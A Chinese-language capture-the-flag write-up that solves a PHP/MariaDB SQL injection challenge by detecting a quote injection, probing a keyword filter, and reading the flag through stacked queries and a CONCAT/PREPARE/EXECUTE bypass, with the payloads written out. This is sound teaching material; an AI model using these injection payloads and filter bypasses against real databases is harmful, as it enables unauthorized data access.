题目描述

查看题目页面源码

666

信息收集

测试基本注入

输入 1,返回正常查询结果:

1
2
3
4
array(2) {
[0]=> string(1) "1"
[1]=> string(7) "hahahah"
}

说明查询返回两列数据。

尝试闭合

输入 1' 产生报错:

666

确认是 MariaDB,单引号字符型注入。尝试闭合:

1
1'#

成功返回正常结果。

发现 WAF 过滤

尝试 UNION SELECT 时发现存在关键词过滤:

666

过滤了:selectupdatedeletedropinsertwhere 以及 .(点号),大小写不敏感

这就意味着常规的联合查询注入(UNION SELECT)无法直接使用。

尝试绕过 SELECT 过滤

注释绕过

1
1' union SEL/**/ECT 1,2#

结果:语法错误,MariaDB 不识别 SEL/**/ECT

双 URL 编码

1
1' union %2553%2545%254c... 

结果:PHP 只解码一次,SQL 层面收到的是 %53%45... 字符串,未执行。

数组绕过

1
?inject[]=1' union select 1,2#

结果:preg_match() 收到数组返回 false 绕过了过滤,但 SQL 查询也因数组参数报错。

堆叠注入

既然 UNION SELECT 走不通,试试堆叠注入(Stacked Injection)——PHP 可能使用了 mysqli_multi_query() 来支持多条 SQL 语句执行。

查看表名

666

成功!页面输出:
有两张表:words1919810931114514(纯数字表名)。

查看表结构

查看 words 表:

1
1';desc words#

666

查看 1919810931114514 表(数字表名需用反引号包裹):

666

关键发现1919810931114514 表中有一个 flag 字段!

读取 flag

绕过 SELECT 的最终方案

select 被过滤,但我们可以在堆叠注入中用字符串拼接+预编译执行绕过:

1
1';SET @sql=concat('SE','LECT flag FROM `1919810931114514`');PREPARE s FROM @sql;EXECUTE s;#

原理

  1. concat('SE','LECT ...') — 将关键词 SELECT 拆成 'SE''LECT...' 两部分拼接,绕过 preg_matchselect 的检测
  2. PREPARE s FROM @sql — 将拼接好的 SQL 字符串预编译为一个语句
  3. EXECUTE s — 执行预编译语句,等同于执行 SELECT flag FROM \1919810931114514``
  4. 反引号包裹表名 — 纯数字表名必须用反引号引用,否则 MariaDB 会解析为数字常量

拿到 Flag

666

Flag: DASCTF{cda20879-8082-4d93-a8a0-f959f5a93373}

知识点总结

技术 说明
堆叠注入 利用 mysqli_multi_query() 执行多条 SQL 语句,用 ; 分隔
PREPARE/EXECUTE MySQL/MariaDB 的预编译执行机制,可动态执行拼接的 SQL
CONCAT 字符串拼接 拆分敏感关键词绕过正则过滤
DESC 查看表结构 替代 SHOW COLUMNS FROM,同样可查看字段信息
反引号包裹 纯数字表名、特殊字符表名需用反引号转义